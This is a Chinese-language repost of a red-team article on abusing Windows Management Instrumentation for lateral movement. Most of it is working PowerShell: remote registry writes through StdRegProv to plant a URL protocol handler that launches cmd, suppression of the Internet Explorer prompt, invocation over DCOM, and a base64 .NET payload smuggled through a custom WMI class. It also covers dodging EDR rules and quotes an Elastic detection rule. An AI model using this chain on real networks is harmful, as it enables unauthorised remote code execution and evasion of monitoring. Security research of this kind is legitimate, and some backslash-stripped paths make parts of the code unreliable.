WMI 研究与横向移动

admin 2025年6月8日09:15:26评论4 views字数 15345阅读51分9秒阅读模式
WMI 研究与横向移动

在不断演变的网络安全领域,理解并缓解高级攻击向量对防御者来说始终是一个关键挑战。其中,Windows管理工具(Windows Management Instrumentation,简称WMI)作为一种既被管理员使用也为恶意行为者所利用的强大工具,备受关注。该文章详细探讨了WMI作为微软Web-Based Enterprise Management (WBEM) 标准的实现,其在网络环境中的潜在利用方式。

该帖子强调了一种复杂技术,该技术利用WMI的StdRegProv提供程序进行远程注册表操作,无需依赖传统的RemoteRegistry服务。这种方法使攻击者能够建立注册表写入基元,并将其升级为远程命令执行——这是一种规避常规检测机制的隐秘方式。帖子附带了两张引人注目的图片:第一张显示了命令提示符执行explorer.exe /root,"c:windowssystem32charam.exe"的情况,展示了Windows资源管理器进程如何被操纵以启动恶意可执行文件。第二张图片呈现了多台主机上记录的活动表,显示了explorer.exe以“/root”参数启动的实例,这一策略因打破了典型的进程链监控而受到关注。

WMI的多功能性源于其设计,用于管理Windows系统中的数据和操作,包括WMI存储库、名称空间、提供程序和类。然而,这种灵活性也使其成为攻击者的理想目标。Yarden的研究指出,尽管WMI用于远程进程创建(例如通过Win32_Process类)被终端检测和响应(EDR)系统广泛监控和标记,但较少关注的基元(如注册表和文件访问)提供了可行的、较不易被检测的替代方案。文章探讨了操作中的关注点,包括EDR如何聚焦于WmiPrvSE.exe进程及其可疑子进程,并提出通过StdRegProv进行注册表操作提供了一种更安全的横向移动途径。

该技术涉及在注册表中创建自定义协议处理程序,可通过分布式组件对象模型(DCOM)上的COM对象(如InternetExplorer.Application)调用。该过程通过在WMI存储库中嵌入有效载荷,避开了直接进程执行的限制,并规避了WMI默认“模拟”级别所施加的单跳认证约束。研究还指出了潜在的线索,例如Intune环境中的SMS_SiteControlFile提供程序用于文件操作,尽管由于认证限制,文章承认直接实现文件写入能力存在挑战。

截至2025年6月7日星期六上午11:43 IST(印度标准时间),这一讨论在网络安全社区中引起了强烈共鸣,促使人们更深入地审视WMI作为管理工具和强大攻击向量的双重角色。Yarden工作的见解,结合X帖子中的现实观察,凸显了需要增强检测策略的必要性,例如监控带有“/root”参数的explorer.exe以及异常子进程,以有效应对这些不断演变的威胁。本文作为渗透测试人员、红队成员和防御者的一本入门指南,鼓励进一步探索WMI的广阔攻击面,并开发强大的缓解策略。

在本文中,我们将探讨 WMI 技术、它所带来的潜在攻击向量、一些检测陷阱(从攻击者的角度来看),以及如何枚举该技术以挖掘其有用的功能。最后,我们将以一个将远程注册表写入原语升级为远程执行的示例作为结束。希望这能为尚未深入研究该主题的渗透测试人员和红队成员提供一些思路和指导,帮助他们找到并开发自己的 WMI 技术,以便在实际操作中使用。

简而言之:  WMI 是一个巨大的攻击媒介,远不止 Win32_Process Create。

关于 WMI

msdocs 引用:“Windows 管理规范 (WMI) 是 Microsoft 基于 Web 的企业管理 (WBEM) 的实现,WBEM 是一项行业倡议,旨在开发一种用于访问企业环境中管理信息的标准技术。WMI 使用通用信息模型 (CIM) 行业标准来表示系统、应用程序、网络、设备和其他托管组件。”

注意: 有一种名为 MI(管理基础设施,而非管理仪器)的“下一代” WMI。这个新的 MI 使用更新的 CIM 标准,并在原有的 WMI 基础上进行了扩展,增加了更多 PowerShell 集成,并允许使用基于 HTTP 的 WS-Man 协议。不过,这个新的 MI 向后兼容 WMI,并且 WMI 使用的工具和方法也涵盖 MI,因此在本文中,我将两者都称为 WMI。

访问 WMI 的先决条件:

  • winmgmt 服务已启动并正在运行(默认开启)。

  • 防火墙允许 RPC 网络(TCP 135),因为底层技术是 DCOM。

此外,要使用 HTTP 上的 WMI(通过 WS-Man),需要在远程计算机上配置 WinRM。可以使用命令“winrm qc”轻松启用 WinRM。

这些在域环境中更为常见,但并非每台机器都能满足这些要求。

为了我们自己的测试目的,我们可以使用以下命令快速确保它已启用:

netsh advfirewall firewall set rule group="windows management instrumentation (wmi)"newenable=yes

技术概述

首先简单解释一下WMI的架构。

WMI 涉及几个关键组件:

  • WMI 存储库 — 包含 WMI 命名空间和提供程序的所有元信息和定义的数据库。此数据库在系统启动时构建,并可根据需要重建。数据持久保存在磁盘上,位于“System32wbemRepository”。

  • WMI 命名空间——封装 WMI 提供程序和类的安全对象。简而言之,这意味着可以设置特定的 ACL,以允许特定用户访问某些提供程序等。命名空间还可以包含更多命名空间。

  • WMI 提供程序——WMI 存储库中的一个对象,代表系统上的任何内容(文件、进程、AV 产品、打印机……)。它们可以返回静态数据,也可以包含正在运行的应用程序中自定义的逻辑。WMI 提供程序属于一个命名空间。注册新的提供程序需要管理员权限。提供程序的元信息可以在 .mof 文件中指定,该文件将由 mofcomp.exe 编译并添加到 WMI 存储库。

  • WMI 类 — 一种实现一组 COM 接口 (IWbem*) 的提供程序。这些提供程序包含方法和属性。例如,臭名昭著的 Win32_Process 类提供程序具有枚举和启动新进程的方法。

由于 WMI 使用 DCOM,因此底层身份验证和会话安全性与 DCOM 相同。例如,连接到远程计算机将默认使用 Kerberos、NTLM、通过 RPC 协商身份验证。

WMI 研究与横向移动

用法

WMI 的使用有多种方式,例如:

  • Powershell Cmdlets,例如 Get-WMIObject(或者 Get-CimClass,提供连接选项的较新版本)和 Invoke-WMIMethod(Invoke-CimMethods)。

Invoke-CimMethod -ClassName Win32_Process -MethodName "Create" -Arguments @{ CommandLine = ꞌnotepad.exeꞌ; CurrentDirectory = "C:windowssystem32" }invoke-WmiMethod -Name Rename -Path "CIM_DataFile.Name='F:test.txt'" -ArgumentList "F:backup.txt"[WMIClass]'\RemoteMachinerootnamespace:ClassName'
  • 内置二进制文件,例如 wmic.exe 或 wbemtest.exewmic /node:remotemachine process call create “cmd.exe /c whoami”

WMI 研究与横向移动
  •  .NET 中的System.Management对象。–其中许多可以通过 powershell cmdlet 轻松访问。

  • 使用 winmgmts 对象的 VBS/VBA

strComputer = "Computer_B"Set objWMIService = GetObject("winmgmts:{impersonationLevel=Impersonate}!\" & strComputer & "RootCIMv2")
  • 本机代码(C++ 等)中的 COM 接口。

– IWbemService::GetObject

–IWbemClassObject::SpawnInstance

  • 专用 COM 类,例如“ WbemScripting”。

WMI 还提供了其查询语言——WQL。一个简单的查询如下所示:

可以与带有 -Query 标志的 wmic 或 powershell cmdlents 以及本机代码一起使用。

SELECT * FROM Win32_Process WHERENameLIKE"%chrome%

运营问题

我认为分享我过去遇到的一些问题很有用,这些问题也会影响研究方向。

WMI 因其用于特定任务的恶意用途而闻名,例如使用 Win32_Process 创建远程进程。我将简要解释它被捕获的原因和方式,以及我个人认为哪些方面可以依赖,哪些方面不可以依赖。

如上所述,连接远程计算机上的 WMI 提供程序有几种不同的方法。忽略每种方法的可用性,这些方法在监控方面的操作差异仅在于客户端。例如,以下命令会被 EDR 高度标记:

wmic /node:WS01 process callcreate “calc.exe”

WS01进程调用创建“calc.exe”

在客户端,这通常被捕获为一条进程创建监控规则,涉及执行 wmic,其命令行包含“process call create”和“/node”。可以通过选择任何其他方法访问远程计算机上的 Win32_Process 提供程序(例如使用 PowerShell 并禁用 AMSI 等)来绕过此问题。

然而,服务器端的最终结果与处理请求的服务相同,因为服务有一个进程——WmiPrvSE.exe,它在执行请求时运行在类提供程序中注册的 DLL。因此,无论我们如何更改客户端的调用方法,远程计算机上的最终结果都将被标记为 WMI 远程执行,因为可疑进程被创建为 WmiPrvSE.exe 的子进程。这并不是说 WMI 提供程序不能(有些提供程序确实会)创建自己的新进程,如果被滥用,这些新进程最终可能会成为新的父进程,但生成的进程仍然会链接到 WMI 提供程序进程。一些供应商和/或规则集将此扩展为任何加载 wmiutils.dll 并生成可疑子进程的进程。以下是 Elastic SIEM 中的一个示例规则,用于说明上述情况:

sequence by host.id with maxspan = 5s [  any where (    event.category == "library"or (      event.category == "process"and event.action : "Image      loaded*")    ) and (      dll.name : "wmiutils.dll"orfile.name :"wmiutils.dll"    ) and process.name : ("wscript.exe""cscript.exe"    )][  process where event.type == "start"and process.parent.name :"wmiprvse.exe"and user.domain != "NT AUTHORITY"and (    process.pe.original_file_name : ( "cscript.exe""wscript.exe""PowerShell.EXE""Cmd.Exe","MSHTA.EXE""RUNDLL32.EXE""REGSVR32.EXE","MSBuild.exe""InstallUtil.exe""RegAsm.exe","RegSvcs.exe""msxsl.exe""CONTROL.EXE","EXPLORER.EXE""Microsoft.Workflow.Compiler.exe","msiexec.exe"    ) or process.executable : ("C:\\Users\\*.exe""C:\\ProgramData\\*.exe"  )]

这意味着通过 WMI 提供程序直接执行脚本/进程并不是非常安全的(即使针对具有上述特定名称的子进程的规则仍然可以被绕过)。

此外,可以动态创建类提供程序并从其他类继承,以混淆特定提供程序的使用,这更是高度关注流程本身的原因。

WMI 提供了自己的事件机制,可供以下类使用:

  • __EventFilter  // 触发器(新进程、登录失败等)

  • EventConsumer  // 执行操作(执行有效载荷等)

  • __FilterToConsumerBinding  // 绑定过滤器和消费者类

为了生成事件以供提供程序使用,您必须首先创建一个事件过滤器,然后将其绑定到事件消费者(例如,您可以创建一个将生成事件日志的事件消费者)。这也是一种很酷的持久化技术 :)。

此外,还有用于 WMI 事件消费的 ETW 通道(Microsoft-Windows-WMI 和 Microsoft-Windows-WMI-Activity)和 WPP(WMI_Trace_Session)。这些信息包括消费用户、连接的命名空间和使用的提供程序的信息。

提供程序不会自动在过滤器中注册,并且/或者它们的过滤器不会自动绑定到消费者,因为这些过滤器会产生大量的流量。因此,尽管这是一种为 WMI 使用生成细粒度事件的可能机制,但它在组织中并不常用。由于不同的提供程序仍然从同一个进程运行,因此有时很难通过关注单个进程来区分合法使用和非法使用。管理员并不经常使用使用 WMI 的进程创建,因此可能会在没有太多误报的情况下将其警报为可疑。然而,其他有用的原语(例如文件和注册表访问)更经常被合法使用,这意味着我们仍然可以更有信心地使用这些原语。 我在这里特别关注查找文件和注册表访问权限。

这里没有演示(但可能仍然有用)的 WMI 替代攻击媒介包括:

  • 创建和修改服务。

  • 枚举系统信息(磁盘上的文件、已安装的更新、设备)。

  • 枚举域信息。

  • 恶意配置(禁用 AV、排除 Applocker 规则、FW、擦除日志和备份、更改各种对象的 ACL 等)。

  • VB 脚本和进程执行。

枚举类提供程序

枚举 WMI 提供程序有多种方法。一种方法是使用一个简单的脚本,该脚本以递归方式遍历所有命名空间,并尝试列出每个命名空间的所有类方法和属性。这可以使用 PowerShell 内置的 WMI cmdlet 来完成:

Function Get-WmiNamespace {    Param($namespace='root')    Get-WmiObject -Namespace $namespace -Class __NAMESPACE | ForEach-Object {        ($ns = '{0}{1}' -f $_.__NAMESPACE,$_.Name)        Get-WmiNamespace $ns    } }$namespaces = Get-WmiNameSpaceForEach ($namespacein$namespaces) {Write-Output "==$namespace==" >> cimclasses.txt$ClassNames = Get-CimClass -Namespace $namespace | select CimClassName    ForEach($namein$ClassNames) {        Write-Output $name.CimClassName >> cimclasses.txt        Get-CimClass -Namespace $namespace -ClassName $name.CimClassName | select -ExpandProperty CimClassMethods >> cimclasses.txt    }}

在相对干净的虚拟机上,这会产生大约 46,000 行代码,我们可以在其中搜索感兴趣的关键字(文件、写入、注册表等)。查看输出后,我们注意到它缺少一些关于提供程序的信息。这主要是因为并非每个提供程序都是带有方法的类提供程序。例如,在某些命名空间中会出现名为“ XWIZARD_TRACE_GUID”的类名。如果我们搜索相关的 xwizard .mof 文件,我们可以在文件内部找到一个名为System32wbem.xwizard.mof的文件,我们可以验证其中是否没有方法,并尝试了解更多关于该提供程序的信息(如果感兴趣)。

这引出了另一种枚举策略:我们也可以在 mof 文件中 grep 关键字。这可能比仅仅 grep 类名和方法名得到不同的结果,因为 mof 文件包含更多信息,甚至注释(我们甚至可以C:nt…xwizards.pdb在 xwizards mof 文件中看到开发机器的路径)。例如,在我的系统上的所有 mof 文件中 grep “exec” 可以得到这样的结果:

WMI 研究与横向移动

我不知道编译后可以从 WMI 存储库中查询哪些信息,但这可能有助于找到更多线索。

还有一些用于操作 WMI 的工具,例如“WMI CIM Studio”和“WMI Explorer”(最近更名为“CIM Explorer 2023”),它们允许枚举和操作该技术,甚至提供生成的 PowerShell 和 VB 脚本。

注册表访问

我们可以通过查找注册表关键字(Reg、Registry、CreateKey、DWORD 等)直接找到一个有用的 WMI 提供程序类,那就是 StdRegProv 提供程序类。只需查看该提供程序类的函数名称,我们就能发现它看起来很有用,而且易于使用。

WMI 研究与横向移动

快速谷歌搜索揭示了大量有关此类提供程序的使用信息,因为它被用作使用 WMI 的主要示例。

使用 WMI 进行注册表访问的另一个很酷的事情是,与“”等 .NET API 或使用 regedit.exe 相比,它不需要 RemoteRegistry 服务Win32.RegistyKey::OpenRemoteBaseKey。

利用注册表访问权限实现横向移动的方法有很多种。以下列举几种:

  • 持久性运行密钥(用于持久性的任何密钥,而不仅仅是众所周知的 RunOnce 等)

  • 修改 COM 类(CLSID、ProgIds 等)

  • 修改计划任务或服务

  • 图像文件执行选项

  • 劫持 shell 处理程序(*ShellOpenCommand 等)

我演示命令执行的一种方法是创建一个协议处理程序。使用以下 PowerShell 脚本,我们可以创建一个新的协议处理程序,该处理程序使用给定的命令调用 cmd ,并使用远程可用的 com 对象调用它。

$RemoteWaMI = [WMIClass]'\WS01rootdefault:StdRegProv'$RemoteWaMI.CreateKey(2137483650, "SoftwareClassescye")$RemoteWaMI.SetStringValue(2137483650, "SoftwareClassescye""URL Protocol"$null)$RemoteWaMI.CreateKey(2137483650, "SoftwareClassescyeshell")$RemoteWaMI.CreateKey(2137483650, "SoftwareClassescyeshellopen")$RemoteWaMI.CreateKey(2137483650, "SoftwareClassescyeshellopencommand")$RemoteWaMI.SetStringValue(2137483650, "SoftwareClassescyeshellopencommand"$null'C:WindowsSystem32cmd.exe /k whoami /priv'), $null)

然后,具有 Shell 功能的应用程序就可以调用新的协议处理程序了。幸运的是,这在许多接受路径作为参数的 COM 组件中很常见。例如,通过 DCOM 使用 InternetExplorer.Application:

$ie = [System.Activator]::CreateInstance([System.Type]::GetTypeFromProgID("internetexplorer.application""\\WS01"))$ie.Navigate2("cye:blabla")$ie.Quit()

该命令将由被调用的应用程序执行(在本例中,DCOM Activator 将启动 iexplore.exe 实例,进而调用 cmd.exe)。此外,要使用上述技术调用 URL 协议,需要再次更改注册表,以避免出现首次提示(无论如何都无法点击该提示,因为该进程在会话 0 中运行,无法访问 GUI):

$RemoteWami.CreateKey(2147483651, "SID\Software\Microsoft\Internet Explorer\ProtocolExecute\cye")$RemoteWami.SetDWORDValue(2147483651, "SID\Software\Microsoft\Internet Explorer\ProtocolExecute\cye""WarnOnOpen""0")
WMI 研究与横向移动

注意:例如,此特定技术并非提供完整的 opsec 解决方案,而仅提供执行能力。如果通过 DCOM 使用 InternetExplorer.Application,则命令(在本例中为 cmd.exe)将作为 iexplore.exe 的子进程运行,这在某些系统上可能会引起怀疑。您可以更进一步,将 IE 与 ActiveX 组件结合使用(某些组件需要额外的注册表修改才能访问),以便与计算机上其他本地可访问的 COM 对象进行交互。我和 Hai vaknin合作撰写了一篇博客 ,展示了如何使用 IE 的 DCOM 接口远程运行 ActiveX 组件,其中包括使用 WMI 修改 ActiveX 的安全配置:  https: //medium.com/@VakninHai/lateral-movement-using-internet-explorer-dcom-object-and-stdregprov-4f11362650e5

作为开始参考,这里有一个要点,展示了使用 COM 绕过 ASR 子进程规则的示例:  https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3。

或者你也可以找到一个合适的本地 COM 接口,可以通过 ActiveX 访问,这样你就可以调用 URL 协议!这样可以让新进程避免与被过度滥用的 IE 浏览器建立子进程关系。

文件访问

对于文件访问,我们发现了一些类,例如 CIM_CopyFileAction 和 CIM_CreateDirectoryAction,这些类似乎很有趣。我们还发现了 CIM_LogicalFile、CIM_DeviceFile、CIM_DataFile 以及其他一些类,它们都包含类似的功能,例如复制、重命名、删除、压缩等。这些类中的大多数都提供了一些文档,可以通过 Google 快速搜索找到。

WMI 研究与横向移动

对于读取访问,CIM_DataFile 可以轻松提供机器上所有文件的列表。

WMI 研究与横向移动

然而,至于写入权限,在筛选数据、阅读之前的 WMI 研究以及浏览大约 100 个 GitHub 代码片段后,出于某种原因,我发现它似乎没有写入或读取函数。一种常见的解决方案是托管文件,然后远程复制。从远程计算机复制(例如通过 UNC 路径和 SMB 共享)对我们来说存在问题,因为 WMI 使用“Impersonate”模拟级别进行身份验证。进一步使用给定凭据对远程计算机进行身份验证需要“Delegate”模拟级别,这在使用 Kerberos 身份验证的域环境中意味着我们只能在配置了委托的计算机上进行操作,并且会导致在创建底层 COM 对象时身份验证失败,如下所示:

WMI 研究与横向移动

这意味着尝试使用 WMI 将文件复制到远程计算机或从远程计算机复制文件将会失败。为了进一步说明这一点,以下命令(通常应该可以正常工作):

Copy'C:\Users\Administrator\localfile.txt''\\WS01\C$\toremote.txt'

当移植到 WMI 时,如下所示:

$f = Get-WmiObject -Class CIM_DataFile -Filter "Name='C:\\Users\\Administrator\\localfile.txt'"$f.Copy('\\\\WS01\\C$\\toremote.txt')

将会失败(与将远程文件复制到本地机器进行读取相同)。

遗憾的是,我找不到其他线索。我搜索了各种方法以及 mof 文件,查找诸如 Log、Write、File、Create 等关键词,虽然看似有线索,但大多数都只是针对事件,或者根本就没用。 社区中主流的解决方案似乎是使用进程执行将数据写入文件 (例如 cmd /c echo 'data' > file.txt),这违背了寻找文件写入原语的初衷。例如,SharpWMI(由 harmj0y 开发)使用 Win32_Process 提供程序的 powershell 执行来下载通过 WMI 存储库传输的数据。显然,WMI 最后一次获得官方写入权限是在 2010 年,当时被 stuxnet 在 privesc 漏洞中滥用。

Potential Leads

我在谷歌上搜索“使用 WMI 写入文件”时,发现了一个有趣的小线索:微软的 Intune WMI 类提供程序 SMS_SiteControlFile——一个允许通过 WMI 进行站点管理的类提供程序。由于需要 Intune,此 WMI 默认不可用,但它似乎允许写入配置文件。这允许将数据写入 XML 文件。这种情况可能有什么用处呢?使用 CIM_DataFile,我们可以创建文件夹、复制文件并在文件上设置 ACL。两者结合起来,就可以将 XML 文件用作软件的多语言工具,使其能够忽略错误数据,同时仍然处理相关数据。以下都是 我脑海中浮现的假设和未经测试的 想法:

  • 查找能够加载可能易受 XXE 或可滥用 xml 标签攻击的 xml 文件的 DCOM 对象或服务。例如:许多 Microsoft 应用程序(例如 MMC 插件,包括事件查看器、任务、服务等)都包含 <Binary> 标签,该标签会反序列化 dotnet 对象,从而直接导致代码执行。

  • HTML 通常会忽略无法处理的标签,但不会停止处理并处理有效标签。使用 JavaScript 植入器将 <Script> 标签写入 Electron 应用程序可能会奏效。CIM_DataFile CreateFolder 甚至可以用来劫持 asar.unpacked(如果它不存在)。

我决定不在本文中研究 Windows 中未内置的特定提供程序,但我将这些想法留在这里,因为我认为这对于未来的探索可能非常有趣。

通过 StdRegProv 使用 WMI 进行横向移动攻击

现在我们放弃寻找文件写入原语,让我们集中精力将注册表写入原语转换为可用的东西。

所演示的 URL 协议处理程序技术的一个问题是命令执行是……执行的命令。ShellExecute WinAPI 的限制为 2048,这是由于 shell 处理路径的方式以及总环境大小的限制。这对于某些类型的有效载荷来说不是很方便。据我记得,有一些技巧以及允许大约 32,000 的注册表配置。相反,我们可以做的是将协议处理程序中的命令更改为一个小型 PowerShell .NET 程序集执行支架,该支架通过其他方式获取有效载荷。我们可以轻松地将此处的有效载荷作为数据类传输到远程计算机的 WMI 注册表中。甚至有人提到使用此方法构建的 C2 通信通道。

执行支架可以是这样的:

[System.Reflection.Assembly]::Load(([Convert]::FromBase64String((([WmiClass]'root\default:Win32_DataInfilClass').Properties['File'].Value))))

这也可以用 base64 编码,并通过 powershell -e 调用。这样我们可以通过 WMI 数据类传输更大的有效载荷,该数据类可以预先进行远程注册,如下所示:

$LocalFilePath = 'C:UsersArgenDownloadsclr_executable.exe'$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)$EncodedFileContent = [Convert]::ToBase64String($FileBytes)$Options = New-Object System.Management.ConnectionOptions$Options.Username = 'Argen'$Options.Password = 'Code from Matt Graeber presentation on WMI read it its very good'$Options.EnablePrivileges = $true$Connection = New-Object System.Management.ManagementScope$Connection.Path = "\RemoteMachinerootdefault"$Connection.Options = $Options$Connection.Connect()$DataInfilClass = New-Object System.Management.ManagementClass($Connection, [String]::Empty, $null)$DataInfilClass['__CLASS'] = 'Win32_DataInfilClass'$DataInfilClass.Properties.Add('File', [System.Management.CimType]::String, $false)$DataInfilClass.Properties['File'].Value = $EncodedFileContent$DataInfilClass.Put()
  1. 首先,我们从 .NET 可执行文件中读取字节并将其转换为 base64 数据(该数据可能会通过最终的 C# 代码进行硬编码)。

  2. 然后,我们创建一个包含连接选项的管理作用域。这样您就可以与远程管理类(非 C# 术语中称为“WMI 类提供程序”)进行交互。System.Management 是 我们用于 WMI 的 C# 命名空间。

  3. 然后,我们创建一个新的 WMI 类并为其添加一个属性。我们将有效载荷存储在此属性中。最后一部分实际上发生在远程计算机的 WMI 存储库中,这使得远程计算机无需重新连接到我们即可更轻松地访问它。

远程机器不需要连接回我们,这使得我们可以绕过 WMI 的 1 跳问题,默认使用模拟级别“模拟”(而不是“委托”),这意味着它不能在网络上进一步使用我们的身份验证材料连接回我们以获取托管的远程文件。

总结一下,最终的有效载荷:

# Push payload into remote WMI repository$LocalFilePath = 'C:\Users\Argen\Downloads\clr_executable.exe'$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)$EncodedFileContent = [Convert]::ToBase64String($FileBytes)# Or just EncodedFileContent = 'b64=='$Options = New-Object System.Management.ConnectionOptions$Options.Username = 'RemoteLocalAdmin'$Options.Password = 'Pass'$Options.EnablePrivileges = $true$Connection = New-Object System.Management.ManagementScope$Connection.Path = "\\RemoteMachine\root\default"$Connection.Options = $Options$Connection.Connect()$DataInfilClass = New-Object System.Management.ManagementClass($Connection, [String]::Empty, $null)$DataInfilClass['__CLASS'] = 'Win32_DataInfilClass'$DataInfilClass.Properties.Add('File', [System.Management.CimType]::String, $false)$DataInfilClass.Properties['File'].Value = $EncodedFileContent$DataInfilClass.Put()# Create the url protocol handler$cmd = powershell -c "[System.Reflection.Assembly]::Load(([Convert]::FromBase64String((([WmiClass]'root\default:Win32_DataInfilClass').Properties['File'].Value))))"$RemoteWaMI = [WMIClass]'\WS01rootdefault:StdRegProv'$RemoteWaMI.CreateKey(2137483650, "SoftwareClassescye")$RemoteWaMI.SetStringValue(2137483650, "SoftwareClassescye""URL Protocol"$null)$RemoteWaMI.CreateKey(2137483650, "SoftwareClassescyeshell")$RemoteWaMI.CreateKey(2137483650, "SoftwareClassescyeshellopen")$RemoteWaMI.CreateKey(2137483650, "SoftwareClassescyeshellopencommand")$RemoteWaMI.SetStringValue(2137483650, "SoftwareClassescyeshellopencommand"$null$cmd)# Configure and invoke the url protocol via IE$RemoteWami.CreateKey(2147483651, "SIDSoftwareMicrosoftInternet ExplorerProtocolExecutecye")$RemoteWami.SetDWORDValue(2147483651, "SIDSoftwareMicrosoftInternet ExplorerProtocolExecutecye""WarnOnOpen""0")$ie = [System.Activator]::CreateInstance([System.Type]::GetTypeFromProgID("internetexplorer.application""\\WS01"))$ie.Navigate2("cye:blabla")$ie.Quit()

结论

我的目的是证明,这里的攻击向量足够强大,足以找到其他方法实现横向移动(很多人通常认为横向移动已被完全覆盖和监控)。我仍然认为,WMI 向量在恶意配置和枚举方面更有优势。

总结一下:

WMI 可以用于多种远程操作,而不仅仅是横向移动。

许多 EDR 和其他监控解决方案都侧重于 WmiPrvSE 进程本身。可疑的子进程确实存在问题,但其他原语(例如注册表访问)可能更可靠。

由于不同的(默认内置)提供程序由同一个 WmiPrvSE.exe 进程运行,我们可能会发现只关注有据可查的提供程序比寻找晦涩难懂的未知提供程序更有效率。

WMI 注册表可用于传输有效载荷(和输出),这对于漏洞利用非常有用。或者,也可以将有效载荷写入注册表。

可以通过多种方式利用 WMI 注册表访问来实现横向移动。

参考

  • Matt Graeber 的 2015 年 WMI 研究快速参考:

    https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
  • Harmj0y 的 C# 工具实现了许多很酷的 WMI 技术:

    https://github.com/GhostPack/SharpWMI
  • 我发现了一个很酷的 WMI 演示幻灯片: 

    http://2014.hackitoergosum.org/slides/day1_WMI_Shell_Andrei_Dumitrescu.pdf
  • 带有 WMI 的 ACL(发现它对于注册表交互非常有用,因为许多好的密钥都归 TrustedInstaller 所有):

    https://learn.microsoft.com/en-US/windows/win32/cimwin32prov/setsecuritydescriptor-method-in-class-win32-printer ?redirectedfrom=MSDN

原文始发于微信公众号(Ots安全):WMI 研究与横向移动

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日09:15:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WMI 研究与横向移动https://cn-sec.com/archives/4145469.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息